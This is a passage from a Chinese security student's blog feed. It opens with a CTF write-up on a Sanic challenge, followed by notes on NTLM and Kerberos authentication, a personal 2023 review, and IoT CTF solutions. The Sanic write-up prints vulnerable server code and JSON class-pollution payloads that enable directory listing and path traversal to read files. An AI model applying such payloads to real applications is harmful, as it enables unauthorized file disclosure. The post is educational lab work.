class="line"> <span class="keyword">return</span> ret</span><br><span class="line"> </span><br><span class="line">app = Sanic(__name__)</span><br><span class="line">app.static(<span class="string">"/static/"</span>, <span class="string">"./static/"</span>)</span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">"/Wa58a1qEQ59857qQRPPQ"</span></span>)</span></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">def</span> <span class="title function_">secret</span>(<span class="params">request</span>):</span><br><span class="line"> <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">"/h111int"</span>,<span class="string">'r'</span>) <span class="keyword">as</span> f:</span><br><span class="line"> hint=f.read()</span><br><span class="line"> <span class="keyword">return</span> text(hint)</span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">'/'</span>, methods=[<span class="string">'GET'</span>, <span class="string">'POST'</span>]</span>)</span></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">def</span> <span class="title function_">index</span>(<span class="params">request</span>):</span><br><span class="line"> <span class="keyword">return</span> html(<span class="built_in">open</span>(<span class="string">'static/index.html'</span>).read())</span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">"/adminLook"</span>, methods=[<span class="string">'GET'</span>]</span>)</span></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">def</span> <span class="title function_">AdminLook</span>(<span class="params">request</span>):</span><br><span class="line"> <span class="comment">#方便管理员查看非法日志</span></span><br><span class="line"> log_dir=os.popen(<span class="string">'ls /tmp -al'</span>).read();</span><br><span class="line"> <span class="keyword">return</span> text(log_dir)</span><br><span class="line"> </span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">"/pollute"</span>, methods=[<span class="string">'GET'</span>, <span class="string">'POST'</span>]</span>)</span></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">def</span> <span class="title function_">POLLUTE</span>(<span class="params">request</span>):</span><br><span class="line"> key = request.json[<span class="string">'key'</span>]</span><br><span class="line"> value = request.json[<span class="string">'value'</span>]</span><br><span class="line"> <span class="keyword">if</span> key <span class="keyword">and</span> value <span class="keyword">and</span> <span class="built_in">type</span>(key) <span class="keyword">is</span> <span class="built_in">str</span> <span class="keyword">and</span> <span class="string">'parts'</span> <span class="keyword">not</span> <span class="keyword">in</span> key <span class="keyword">and</span> <span class="string">'proc'</span> <span class="keyword">not</span> <span class="keyword">in</span> <span class="built_in">str</span>(value) <span class="keyword">and</span> <span class="built_in">type</span>(value) <span class="keyword">is</span> <span class="keyword">not</span> <span class="built_in">list</span>:</span><br><span class="line"> pollute = Pollute()</span><br><span class="line"> pydash.set_(pollute, key, value)</span><br><span class="line"> <span class="keyword">return</span> text(<span class="string">"success"</span>)</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> log_dir=create_log_dir(<span class="number">6</span>)</span><br><span class="line"> log_dir_bak=log_dir+<span class="string">".."</span></span><br><span class="line"> log_file=<span class="string">"/tmp/"</span>+log_dir+<span class="string">"/access.log"</span></span><br><span class="line"> log_file_bak=<span class="string">"/tmp/"</span>+log_dir_bak+<span class="string">"/access.log.bak"</span></span><br><span class="line"> log=<span class="string">'key: '</span>+<span class="built_in">str</span>(key)+<span class="string">'|'</span>+<span class="string">'value: '</span>+<span class="built_in">str</span>(value);</span><br><span class="line"> <span class="comment">#生成日志文件</span></span><br><span class="line"> os.system(<span class="string">"mkdir /tmp/"</span>+log_dir)</span><br><span class="line"> <span class="keyword">with</span> <span class="built_in">open</span>(log_file, <span class="string">'w'</span>) <span class="keyword">as</span> f:</span><br><span class="line"> f.write(log)</span><br><span class="line"> <span class="comment">#备份日志文件</span></span><br><span class="line"> os.system(<span class="string">"mkdir /tmp/"</span>+log_dir_bak)</span><br><span class="line"> <span class="keyword">with</span> <span class="built_in">open</span>(log_file_bak, <span class="string">'w'</span>) <span class="keyword">as</span> f:</span><br><span class="line"> f.write(log)</span><br><span class="line"> <span class="keyword">return</span> text(<span class="string">"！！！此地禁止胡来，你的非法操作已经被记录！！！"</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> app.run(host=<span class="string">'0.0.0.0'</span>)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>得到hint</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">flag in /app,but you need to find his name！！！</span><br><span class="line">Find a way to see the file names in the app directory</span><br></pre></td></tr></table></figure><p>这个hint也就提示我们列举目录<br>列举目录的方式也就是我们方才思路里说的<br>==所以结合题目情况的总的思路就是，先开启目录列举，再构造或者找出一个带…的path，然后污染base使得current为…，这样就可以穿越到上层目录中实现列目录了==<br>结合这两个难点被解决，以及如何列目录的方式被我们找到，那么一切都呼之欲出<br>payload如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler._parts","value": "/"} #非法操作触发记录</span><br><span class="line"></span><br><span class="line">{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": true} #开启目录列举</span><br><span class="line"></span><br><span class="line">{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory","value": "/tmp"} #切换目录到/tmp下</span><br><span class="line"></span><br><span class="line">{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.base","value": "static/4FokJS"} #污染base</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>这样我们就可以在/static/4FokJS…/下看到flag的名字了<br>但是这还不够，如果我们这个时候直接访问/static/app/flag的话会出现如下情况<br><img src="/images/Pasted%20image%2020240723004441.png" alt="" loading="lazy"><br>这是因为我们的file_or_directory还在/tmp目录，我们需要切换到根目录，才能读到flag<br>那么有人说我既然都能看到flag了，为什么不能在/static/4FokJS…/目录下直接读<br>就像这样</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://c4a6e774-5e02-4d07-b787-a7221e2bc985.node5.buuoj.cn:81/static/4FokJS../45W698WqtsgQT1_flag</span><br></pre></td></tr></table></figure><p>那么就要思考一个问题了，我们使用/static/4FokJS…/的目的是什么，是为了构造出current为…来读取上层目录，如果直接这样读取，我们的current显然不再是…，那么/static/4FokJS…/也就不再是上层目录了，所以这样才会找不到flag<br>所以我们还需要加一个payload</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory","value": "/"} #切换回根目录</span><br></pre></td></tr></table></figure><p>我们继续污染file_or_directory到根目录，这样我们就可以通过/app/45W698WqtsgQT1_flag得到flag了</p>]]></content>
<summary type="html"><blockquote>
<p>[!NOTE] 一些小小的碎碎念<br>
第一次看到sanic其实是不知所措的，感觉这个虽然是眼熟，但也仅限于眼熟，显而易见的，国赛没有做出来，也因为一些心态问题没有做复盘，时隔近两月，慢慢调整好心态后终于是借着gxn师傅的Sanic reveng</summary>
<category term="比赛wp" scheme="http://fault123.github.io/tags/%E6%AF%94%E8%B5%9Bwp/"/>
<category term="Web" scheme="http://fault123.github.io/tags/Web/"/>
</entry>
<entry>
<title>NTLM认证学习</title>
<link href="http://fault123.github.io/2024/03/21/NTLM%E8%AE%A4%E8%AF%81%E5%AD%A6%E4%B9%A0/"/>
<id>http://fault123.github.io/2024/03/21/NTLM%E8%AE%A4%E8%AF%81%E5%AD%A6%E4%B9%A0/</id>
<published>2024-03-21T05:11:21.573Z</published>
<updated>2024-08-08T09:07:54.904Z</updated>
<content type="html"><![CDATA[<h2 id="系统版本对LM和NTLM的支持"><a class="headerlink" href="#系统版本对LM和NTLM的支持"></a>系统版本对LM和NTLM的支持</h2><p><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240118194641.png" alt="image.png" loading="lazy"></p><h2 id="NTLM-认证"><a class="headerlink" href="#NTLM-认证"></a>NTLM 认证</h2><h3 id="简介"><a class="headerlink" href="#简介"></a>简介</h3><p>NTLM是NT LAN Manager的缩写，NTLM是指telnet的一种验证身份方式，即问询/应答身份验证协议</p><h3 id="认证流程"><a class="headerlink" href="#认证流程"></a>认证流程</h3><p>进行一个嫌弃自己的字好丑<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240117225706.png" alt="image.png" loading="lazy"></p><p>这就是我理解的并且画的流程图</p><ol><li>用户登录客户端，进行<strong>本地认证</strong></li><li>客户端首先在本地将当前用户的密码加密为HTLM Hash</li><li>确认双方协议版本，客户端向服务器明文发送自己的账号</li><li>服务器返回一个十六位随机数，也就是图中的challenge</li><li>客户端需要使用本地的NTLM Hash来加密这个challenge并发回给服务器，也就是图中的response</li><li>服务器将明文的用户名、challenge、response发给域控制器（DC</li><li>域控制器用这个用户名在SAM密码管理库中找此用户对应的NTLM Hash</li><li>用这个NTLM Hash来加密服务器发过来的与发给用户端一样的challenge，与服务器端传过来的response进行对比，如果相同，那么就认证成功</li></ol><h4 id="本地认证"><a class="headerlink" href="#本地认证"></a>本地认证</h4><p>Windows不会储存用户的明文密码，而是将明文密码加密后储存在SAM中</p><p>本地认证的过程中，用户登录时，系统会自动将用户输入的明文密码加密为NTLM Hash，然后和SAM中的NTLM Hash进行比较</p><h3 id="NTLM-Hash的生成"><a class="headerlink" href="#NTLM-Hash的生成"></a>NTLM Hash的生成</h3><p>hhhh这个过程还算好吧，无非就是代码写了好多行突然发现可以五行之内解决）</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> hashlib,binascii</span><br><span class="line"></span><br><span class="line"><span class="built_in">hash</span> = hashlib.new(<span class="string">'md4'</span>, <span class="string">"fault"</span>.encode(<span class="string">'utf-16le'</span>)).digest()</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">hash</span>)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(binascii.hexlify(<span class="built_in">hash</span>))</span><br></pre></td></tr></table></figure><p>之前很迫切的没有用内置的方法去搞它，一直在那里进行一个手搓，嘛，最后的脚本在上面辣<br>]()</p>]]></content>
<summary type="html"><h2 id="系统版本对LM和NTLM的支持"><a class="headerlink" href="#系统版本对LM和NTLM的支持"></a>系统版本对LM和NTLM的支持</h2>
<p><img src="https://fault-1315577519.cos.ap</summary>
<category term="域相关" scheme="http://fault123.github.io/tags/%E5%9F%9F%E7%9B%B8%E5%85%B3/"/>
</entry>
<entry>
<title>kerberos协议学习</title>
<link href="http://fault123.github.io/2024/03/21/kerberos%E5%8D%8F%E8%AE%AE%E5%AD%A6%E4%B9%A0/"/>
<id>http://fault123.github.io/2024/03/21/kerberos%E5%8D%8F%E8%AE%AE%E5%AD%A6%E4%B9%A0/</id>
<published>2024-03-21T05:11:21.572Z</published>
<updated>2024-07-29T13:44:19.852Z</updated>
<content type="html"><![CDATA[<p>该协议涉及的攻击手段如下<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240117194836.png" alt="image.png" loading="lazy"><br>理解协议过程所画的草稿图<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/aa84c82a24cfea51641782fb3471b4e.jpg" alt="aa84c82a24cfea51641782fb3471b4e.jpg" loading="lazy"><br>鉴于我画的图丑晕了，于是在笔记中还是使用别人的图吧</p><h2 id="未引入TGS前的认证流程"><a class="headerlink" href="#未引入TGS前的认证流程"></a>未引入TGS前的认证流程</h2><p><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240118203655.png" alt="image.png" loading="lazy"><br>客户端向KDC发起对sessionkey的请求，KDC使用数据库中存储的该客户端的密码对sessionkey进行加密，同时向客户端请求的服务器发送同样的sessionkey，但使用服务器端的密码进行加密，然后客户端再使用sessionkey向服务器进行认证</p><p>在这个流程中我们可以发现一些问题<br>1.A向KDC申请sessionkey，KDC同时向A和B发送sessionkey，如果由于网络等原因导致B在A向它请求认证时还没有收到sessionkey就会导致认证失败，所以可以尝试在返回给A使用client password加密的sessionkey的时候将本该发给B的信息一同发送给A，再由A向B请求验证的时候一同发送给B<br>2.A提出SessionKey的申请时，KDC凭什么就生成了SessionKey给了A，也就是说，KDC缺乏对A的认证，所以在分发SessionKey之前，KDC需要增加对A的认证，解决办法就是，将KDC机构分成两部分：</p><blockquote><p>AS：Authentication Service，用于KDC对A的认证<br>TGS：Ticket Granting Service，用于KDC向A和B分发Session Key</p></blockquote><h2 id="引入TGS后的认证流程"><a class="headerlink" href="#引入TGS后的认证流程"></a>引入TGS后的认证流程</h2><p><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240118204353.png" alt="image.png" loading="lazy"><br>这个图也就很好的表明了将KDC分为AS和TGS后的作用，也就解决了刚才未引入TGS前我们提出的问题1和2，对于2的解决是只有当确认了A的身份后，才会给sessionkey(a-b)</p><p>总体来说就是当client想要访问server上的某个服务时，需要先向AS证明自己的身份，验证通过后AS会发放一个TGT，client会再次向TGS证明自己的身份后，TGS会发放一个ST，随后client向server发起认证请求</p><h2 id="详细认证过程"><a class="headerlink" href="#详细认证过程"></a>详细认证过程</h2><p><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240118204825.png" alt="image.png" loading="lazy"><br>①：KRB_AS_REQ：Client-A发送Authenticator向KDC的AS服务认证自己的身份（通过提供自身密码加密的一个时间戳TimeStamp）</p><p>②：KRB_AS_REP：AS通过KDC数据库中存储的Client-A密码的副本，解密收到的Authenticator，如果解密出的TimeStamp符合要求，则AS服务认为Client-A就是所谓的Client-A。认证成功后，AS服务生成一个短期有效的SessionKeya-kdc，将该Key使用A的密码副本加密成密文1，另外将Key连同时间戳标志（控制该SessionKey的有效时间）通过TGS服务的密码也就是KDC的密码加密为密文2（称为TGT），将这两个密文组合成KRB_AS_REP返回给Client-A</p><p>③：KRB_TGS_REQ：Client-A在接收到KRB_AS_REP后，首先使用自身密码解密密文1得到SessionKeya-kdc，此时需要注意的是，密文2（TGT）是被KDC的密码加密的，所以Client-A无法解密，这也是Kerberos协议设计的精妙之处，既解决了Server端（TGS相对于Client-A也称之为Server端）无法及时接收SessionKey的问题，又不怕Client-A对该TGT的伪造，因为Client-A不知道Server端的密码</p><p>得到SessionKeya-kdc后，Client-A利用其加密时间戳生成Authenticator用于向TGS申请Client-A与Client-B进行认证所需的SessionKeya-b，连同刚才KRB_AS_REP接收的TGT一同组合成KRB_TGS_REQ发送给TGS</p><p>④：KRB_TGS_REP：TGS在接收到KRB_TGS_REQ之后，利用KDC密码解密TGT获得本来就该发送给自己的SessionKeya-kdc，然后用其解密KRB_TGS_REQ中的Authenticator得到Client-A发送过来的时间戳，如果时间戳符合要求，则生成一个短期有效的SessionKeya-b，注意此时利用SessionKeya-kdc将SessionKeya-b加密为密文1，然后利用Server-B的密码将SessionKeya-b加密为密文2（称为ServiceTicket），两个密文一同构成KRB_TGS_REP返回给Client-A</p><p>⑤：KRB_AP_REQ：Client-A在接收到KRB_TGS_REP之后，首先使用缓存的SessionKeya-kdc将密文1中的SessionKeya-b解密出来，然后利用其加密时间戳生成Authenticator用于向B进行对自身的验证，另外，和刚才TGT一样，密文2也就是ServiceTicket是用Server-B的密码加密的，所以Client-A无法解密，也就无法伪造，这也同样解决了在三方认证中作为Server端的B无法及时接收SessionKey的问题，又不怕Client-A对ServiceTicket的伪造</p><p>⑥：KRB_AP_REP：Server-B受到KRB_AP_REQ之后，利用自身密码解密ServiceTicket，得到SessionKeya-b，然后用SessionKeya-b解密Authenticator得到时间戳，验证A的身份</p>]]></content>
<summary type="html"><p>该协议涉及的攻击手段如下<br>
<img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240117194836.png" alt="image.png" loading="lazy"</summary>
<category term="域相关" scheme="http://fault123.github.io/tags/%E5%9F%9F%E7%9B%B8%E5%85%B3/"/>
</entry>
<entry>
<title>2023年终总结</title>
<link href="http://fault123.github.io/2024/03/21/2023/"/>
<id>http://fault123.github.io/2024/03/21/2023/</id>
<published>2024-03-21T05:09:03.121Z</published>
<updated>2024-07-29T12:53:06.976Z</updated>
<content type="html"><![CDATA[<h1>fault的2023</h1><h2 id="开端"><a class="headerlink" href="#开端"></a>开端</h2><p>依稀记得今年的开始是刷题，彼时的我刚进入智邮普创一月有余，仍然在刷题积累的阶段，每周要交的周报便是最大的苦恼，周报内容是否完善，是否有收获，是否有质量，这三点便组成了我唯一的苦恼，现在说起来倒有些好笑，最开始的我竟然因为周报而烦恼过哈哈哈哈。在进入minink后有多了每周需要上交的刷题wp,，紧接着就是打N1 junior，对当时的我确实是一个不小的打击，从觉得自己学了很多到逐渐意识到自己甚至冰山一角都没有触及的过程是比较痛苦的，这就是我在今年遭受的第一次打击。周报与N1 junior,组成了我今年的开端。</p><h2 id="责任"><a class="headerlink" href="#责任"></a>责任</h2><p>若要说起我今年学到最多的东西，很显然是责任，或者确切些说是如何成为一个大人。<br>去年刚从高中的大门走出，觉得大学里很多事情都很复杂，总是想躲到师傅身后，让他去替我做所有的决定，然后好逃避自己应该有的责任。从大一下学期开始，无论是与没见过的人打交道，亦或是和同级之间的交往合作，总是让我觉得压力倍增，好在我拥有实验室同级的鼓励和安慰以及师傅时不时的指导，在处理很多事情的时候也有人可以给我一些建议，一切的一切都让我觉得不那么孤单。<br>到了大二，成为了智邮普创安全组的负责人和A&D协会副会长，我变得更加仔细小心，说话做事都得考虑三分，但当我看到协会在我的带领下变得更加有序的时候，学弟学妹在实验室安心学习的时候，我觉得这一切都很值得。我逐渐在变成自己大一时想成为的样子，有担当，可以肩负起自己身上的责任，即使带着整个实验室去发展，也可以做到处变不惊。</p><h2 id="自我怀疑"><a class="headerlink" href="#自我怀疑"></a>自我怀疑</h2><p>今年的成长更多是在不断的自我怀疑中依然选择理清头脑，接着走下去。<br>从最开始怀疑自己的学习能力，到怀疑自己情商是否真的很低，再到怀疑自己是否真的适合当智邮普创安全组的负责人，每一次的自我怀疑都伴随着失眠和焦虑，我好多次以为自己会崩溃，会直接撂挑子不干，但其实并没有，而是选择在自我怀疑的崩溃中尽力去让自己理智的分析事情<br>虽然在这中间做了很多蠢事，也懊悔过，但自己的进步是能看得到的。无论是以副会长的名义去和老师谈与协会合作，还是以实验室安全组负责人的名义去做分享，我逐渐变得从容且张弛有度。<br>我觉得要让我深刻的改变，今年我所经历的自我怀疑与挣扎足矣。</p><h2 id="收获"><a class="headerlink" href="#收获"></a>收获</h2><p>若要说今年收获了什么，那便是处理事情的能力，以及人际交往和技术的巨大提升。这一切都来自于处理协会、实验室以及各方人际关系所获得的。大大小小的奖也拿了不少，也逐渐在向自己所期望成为的大人的方向努力，一切的一切都让我觉得很棒很棒。不仅仅是自我能力的提升，在打CTF的过程中也让我收获了一批很好的朋友，更让我遇到了自己的伯乐和引路人。一切的一切都让我觉得今年收获真的很大～<br>今年的fault比去年进步了很多很多，有比赛的证书，有同级的友谊，有师长的帮助，有能力的提升，学会了技术，学会了为人处世的基础，也学会了爱，更学会了感恩。</p><h2 id="感恩"><a class="headerlink" href="#感恩"></a>感恩</h2><p>我觉得其实一路走来，我最应该感谢的就是我的师傅–cube ，是他带我入门了web，也是他不厌其烦的将很多东西传授给我，虽然过程很辛苦，也被鞭策过不少次，但我心中很清楚这一切都是为了让我变得更好。无论是最开始带我入门，回答一些很蠢的问题，还是之后引荐我，教我如何为人处世，一切的一切都慢慢将我塑造成了今天的样子。其实对真正感谢的人反而说不出来骚话，但确实，没有您就没有现在的fault，如果真要说我上大学以来最感谢的人，那一定是您（不会说骚话喵）。<br>接下来要感谢的就是maple，也是在今年帮助我很多的师傅，也是让我将技术上的自我怀疑变成目标和动力的一个转换契机。不仅在技术上帮我整合了之前学的很乱很粗的知识点，更是让我看到了真正的技术是什么样，以及我真正想拥有的技术需要我付出什么。<br>最后要感谢的就是Y爹，一些心态上的问题一直在找Y爹救救，也是从Y爹这儿，我感受到了一个真正合格的负责人该有的心态，担当以及统筹能力。而我也从Y爹这里学到了我感触很深的一句话“学会学习，学会生活”，我在接下来的学习生活中也在努力追求并实现这句话。<br>当然，除此之外要感谢的人太多太多，有老师，也有学长学姐和同级，没有你们的帮助，可能我还是一个迷茫不知所措的fault喵。谢谢大家～</p><h1>fault 的2024目标</h1><p>1、找个实习<br>2、学会更好的调控自己的情绪和生活<br>3、个人技术的提升<br>4、尽力让智邮普创变得更好<br>5、学一个新的方向并坚持下去<br>6、每周坚持写写周报，进行定期的自我正向反馈</p>]]></content>
<summary type="html"><h1>fault的2023</h1>
<h2 id="开端"><a class="headerlink" href="#开端"></a>开端</h2>
<p>依稀记得今年的开始是刷题，彼时的我刚进入智邮普创一月有余，仍然在刷题积累的阶段，每周要交的周报便是最大的苦恼，周报内容是</summary>
<category term="总结" scheme="http://fault123.github.io/tags/%E6%80%BB%E7%BB%93/"/>
</entry>
<entry>
<title>NSSCTF IOT题目复现</title>
<link href="http://fault123.github.io/2024/03/21/NSSCTF%20IOT%E9%A2%98%E7%9B%AE%E5%A4%8D%E7%8E%B0/"/>
<id>http://fault123.github.io/2024/03/21/NSSCTF%20IOT%E9%A2%98%E7%9B%AE%E5%A4%8D%E7%8E%B0/</id>
<published>2024-03-21T05:07:56.783Z</published>
<updated>2024-07-29T13:41:50.916Z</updated>
<content type="html"><![CDATA[<h2 id="HGAME-2022-Week1-饭卡的uno"><a class="headerlink" href="#HGAME-2022-Week1-饭卡的uno"></a>[HGAME 2022 Week1]饭卡的uno</h2><p>发现是hex文件，于是尝试直接拖到ida里逆向分析，发现直接可以拿到flag<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240115214046.png" alt="image.png" loading="lazy"></p><h2 id="HGAME-2023-Week1-Help-marvin"><a class="headerlink" href="#HGAME-2023-Week1-Help-marvin"></a>[HGAME 2023 Week1]Help marvin</h2><p>发现附件是一个.sr文件，在查找下发现了pulseview这个工具，于是尝试进行一个利用，结合提示的SPI，猜测是使用spi协议来解析这段</p><h3 id="SPI协议"><a class="headerlink" href="#SPI协议"></a>SPI协议</h3><p>链接：<a href="https://zhuanlan.zhihu.com/p/290620901">https://zhuanlan.zhihu.com/p/290620901</a></p><blockquote><p>1.用单独的数据线和单独的时钟信号来保证发送端和接收端的数据同步<br>2.产生始终的一侧称为主机，另一侧为从机，总是只有一个主机<br>3.数据采集在时钟信号上升沿或下降沿进行</p></blockquote><p>时钟是一个震荡信号，它告诉接收端在确切的时机对数据线上的信号进行采样</p><ul><li><p><strong>主机</strong>发送到<strong>从机</strong>时：主机产生相应的时钟信号，然后数据<strong>一位一位</strong>地将从<code>MOSI</code>信号线上进行发送到从机；</p></li><li><p><strong>主机</strong>接收<strong>从机</strong>数据：如果从机需要将数据发送回主机，则主机将继续生成预定数量的时钟信号，并且从机会将数据通过<code>MISO</code>信号线发送；</p></li></ul><p>具体如图所示<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240115220645.png" alt="image.png" loading="lazy"></p><p>SPI总线包括4条逻辑线，定义如下：</p><ul><li><p><strong>MISO</strong>：<code>Master input slave output</code> 主机输入，从机输出（数据来自从机）；</p></li><li><p><strong>MOSI</strong>：<code>Master output slave input</code> 主机输出，从机输入（数据来自主机）；</p></li><li><p><strong>SCLK</strong> ：<code>Serial Clock</code> 串行时钟信号，由主机产生发送给从机；</p></li><li><p><strong>SS</strong>：<code>Slave Select</code> 片选信号，由主机发送，以控制与哪个从机通信，通常是低电平有效信号，但具体还是要查看芯片手册。</p></li></ul><h3 id="时钟频率"><a class="headerlink" href="#时钟频率"></a>时钟频率</h3><p>SPI总线上的主机必须在通信开始的时候配置并生成相应的时钟信号。在每个SPI时钟周期内，都会发生全双工数据传输。</p><p>主机在MOSI上发送一位数据，从机读取它，而从机在MISO线上发送一位数据，主机读取它。</p><p>所以综上所述，我们不难发现D1在其中扮演这片选信号的作用，而至于D2是主机发出还是从机发出的，这需要进行一手尝试，最终的数据如下<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240115224121.png" alt="image.png" loading="lazy"><br>然后我们只需要对解出来的数据进行十六进制转字符就可以咯，脚本如下</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">a=<span class="string">"33,34,67,61,6D,65,7B,34,5F,35,74,34,6E,67,65,5F,53,70,31,7D"</span></span><br><span class="line"></span><br><span class="line">s=a.split(<span class="string">','</span>)</span><br><span class="line"></span><br><span class="line">flag=<span class="string">''</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(s)</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> s:</span><br><span class="line"></span><br><span class="line"> flag+=<span class="built_in">chr</span>(<span class="built_in">int</span>(i,<span class="number">16</span>))</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(flag)</span><br></pre></td></tr></table></figure><h2 id="HGAME-2023-week2-Pirated-router"><a class="headerlink" href="#HGAME-2023-week2-Pirated-router"></a>[HGAME 2023 week2]Pirated router</h2><p>发现附件是一个.bin文件，结合我之前读的一篇文章，尝试使用binwalk进行分离，但是发现分离后的文件中的squashfs-root文件夹是空的，走投无路下去查了wp，发现要使用如下工具<br><a href="https://github.com/rampageX/firmware-mod-kit">https://github.com/rampageX/firmware-mod-kit</a><br>然后尝试使用如下指令对.bin文件进行分解</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">./extract-firmware.sh /home/fault/Desktop/new/AC10086W_FW_1.1.4.5.bin</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>然后分解出来的文件在工具目录中的fmk目录下，进去在bin目录下找到了类似于加密flag的可执行文件<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240115224848.png" alt="image.png" loading="lazy"><br>于是二话不说，直接ida一把嗦，发现为arm架构的可执行文件，伪代码如下</p><p><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240115225046.png" alt="image.png" loading="lazy"><br>查看unk_4543B0可知如下</p><p><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240115225136.png" alt="image.png" loading="lazy"></p><p>逆向脚本如下</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">a=<span class="string">"4B 44 42 4E 46 58 56 4D 53 17 40 48 12 4D 44 7C 45 4A 51 4E 54 42 51 46 7C 12 50 7C 10 62 50 5A 5E"</span></span><br><span class="line"></span><br><span class="line">s=a.split(<span class="string">" "</span>)</span><br><span class="line"></span><br><span class="line">flag=<span class="string">''</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> s:</span><br><span class="line"></span><br><span class="line"> flag+=<span class="built_in">str</span>(<span class="built_in">int</span>(i,<span class="number">16</span>))+<span class="string">" "</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(flag+<span class="string">" "</span>)</span><br><span class="line"></span><br><span class="line">a=<span class="string">"75 68 66 78 70 88 86 77 83 23 64 72 18 77 68 124 69 74 81 78 84 66 81 70 124 18 80 124 16 98 80 90 94"</span></span><br><span class="line"></span><br><span class="line">s = a.split(<span class="string">" "</span>)</span><br><span class="line"></span><br><span class="line">v6=<span class="number">35</span></span><br><span class="line"></span><br><span class="line">flag=<span class="string">''</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># print(s)</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> s:</span><br><span class="line"></span><br><span class="line"> flag+=<span class="built_in">chr</span>(<span class="built_in">int</span>(i)^<span class="number">35</span>)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(flag)</span><br></pre></td></tr></table></figure><p>然后就拿到了flag</p>]]></content>
<summary type="html"><h2 id="HGAME-2022-Week1-饭卡的uno"><a class="headerlink" href="#HGAME-2022-Week1-饭卡的uno"></a>[HGAME 2022 Week1]饭卡的uno</h2>
<p>发现是hex文件，于是尝试直接拖</summary>
<category term="IOT" scheme="http://fault123.github.io/tags/IOT/"/>
</entry>
